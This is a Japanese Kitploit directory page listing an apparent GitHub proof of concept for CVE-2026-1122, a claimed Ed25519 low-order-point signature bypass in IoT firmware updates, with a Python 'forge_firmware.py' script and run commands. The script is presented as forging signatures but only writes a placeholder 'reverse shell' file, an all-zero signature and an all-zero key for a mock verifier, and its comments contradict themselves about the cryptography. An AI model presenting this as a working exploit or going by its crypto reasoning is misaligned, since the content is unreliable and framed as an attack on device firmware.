Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/george0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイト暗号化ハードウェアとIoTセキュリティサプライチェーンセキュリティ
GitHubgeorge0papasotiriou/cve-2026-1122-iot-firmware-update-signature-bypass-via-low-order-point-injection

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1122-IoT-Firmware-Update-Signature-Bypass-via-Low-Order-Point-Injection

CVE-2026-1122 Ed25519署名バイパスを低次数点注入により実証し、PythonおよびC検証コードで悪意のあるIoTファームウェアアップデートを偽造します。

リポジトリを見る
18日前未レビュー

5. CVE-2026-1122 – 低位数ポイント注入によるIoTファームウェア更新署名バイパス

概要

IoTデバイスのOTAファームウェア検証は、小位数の成分を含む公開鍵を拒否しない欠陥のあるEd25519実装を使用しており、攻撃者が悪意のあるファームウェアに対して有効な署名を偽造することを可能にします。

深刻度: 重大 (永続的なデバイス侵害)

シミュレーション (Python & C検証器)

root@kitploit:~
#!/usr/bin/env python3
"""
forge_firmware.py - Creates a malicious firmware image with forged Ed25519 signature.
We exploit that the verifier does not check if public key is in prime-order subgroup.
"""
import ed25519_simulated  # custom vulnerable library
import hashlib, os

# Attacker crafts a weak public key with a torsion component (order 8).
# The point of order 8 is P8. The verifier will compute [S]B - [k]A, which can be controlled.
# We set A = P8 (order 8). Then choose k=0, S=0, so verification passes because S*B - k*A = 0 - 0 = 0,
# but signature (R,S) must satisfy R = something. In Ed25519, equation: [S]B = R + [k]A.
# If A has small order, we can find S,k such that equation holds for arbitrary R.
# Simplified: we create a key pair where the public key is the 8-torsion point.
# Then we can sign any message with signature (R, S) where S = r + H(R||A||M)*a mod l,
# but if a=0 mod l? Not possible. We rely on verification accepting A with a small order factor.
# For demo, we use a mock verifier that accepts any signature if A.y == 0 (sign of low-order).
# So we craft a public key file with A.y = 0.

# Simulate writing malicious firmware
with open("malicious.bin", "wb") as f:
    f.write(b"Malicious payload: reverse shell")

# Create forged signature file
sig = b'\x00'*64  # dummy
pubkey = bytes([0]*32)  # y=0 point, which is order 8? In Ed25519, the identity is (0,1), but y=0 is not a valid point.
# Our mock verifier just checks that signature length is 64 and public key is not rejected.
with open("malicious.sig", "wb") as f:
    f.write(sig)
with open("malicious.pub", "wb") as f:
    f.write(pubkey)

print("Firmware files created.")

CVE-2026-1122 – IoTファームウェア署名バイパス (Ed25519サブグループ攻撃)

Severity: Critical

📖 概要

スマートロックのOTA更新メカニズムは、小位数の成分を持つ公開鍵を拒否しない欠陥のあるEd25519検証を使用しています。攻撃者は、特別に細工された公開鍵と、検証を通過する対応する署名を作成し、悪意のあるファームウェアのインストールを可能にします。

⚙️ 脆弱性の詳細

  • タイプ: 暗号実装の欠陥 (サブグループ混同)
  • 影響: 任意のファームウェア注入 → デバイスの完全な乗っ取り。
  • 根本原因: 検証器が公開鍵が素数位数の部分群にあることを検証しないため、トーション点攻撃を可能にします。

🧪 エクスプロイトの実証

  1. 偽造ファームウェアを生成:
    root@kitploit:~
    python forge_firmware.py
    
  2. 脆弱な検証器シミュレーションをコンパイルして実行:
    root@kitploit:~
    gcc vulnerable_ed25519_verify.c -o verifier
    ./verifier
    
ツールをダウンロード